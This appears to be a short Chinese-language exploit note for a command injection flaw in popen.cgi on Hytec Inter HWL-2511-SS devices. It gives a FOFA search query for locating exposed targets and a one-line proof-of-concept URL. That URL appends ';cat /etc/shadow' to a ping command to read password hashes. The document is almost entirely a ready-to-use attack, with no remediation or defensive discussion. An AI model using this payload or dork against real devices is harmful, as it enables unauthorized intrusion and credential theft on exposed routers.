2023-08-19 21:01:56 +08:00
|
|
|
## Hytec Inter HWL-2511-SS popen.cgi命令注入漏洞
|
2023-11-28 21:29:05 +08:00
|
|
|
|
|
|
|
|
## fofa
|
|
|
|
|
```
|
2023-08-19 21:01:56 +08:00
|
|
|
title="index" && header="lighttpd/1.4.30"
|
2023-11-28 21:29:05 +08:00
|
|
|
```
|
2023-08-19 21:01:56 +08:00
|
|
|
|
|
|
|
|
### poc
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
/cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137921
|
|
|
|
|
```
|
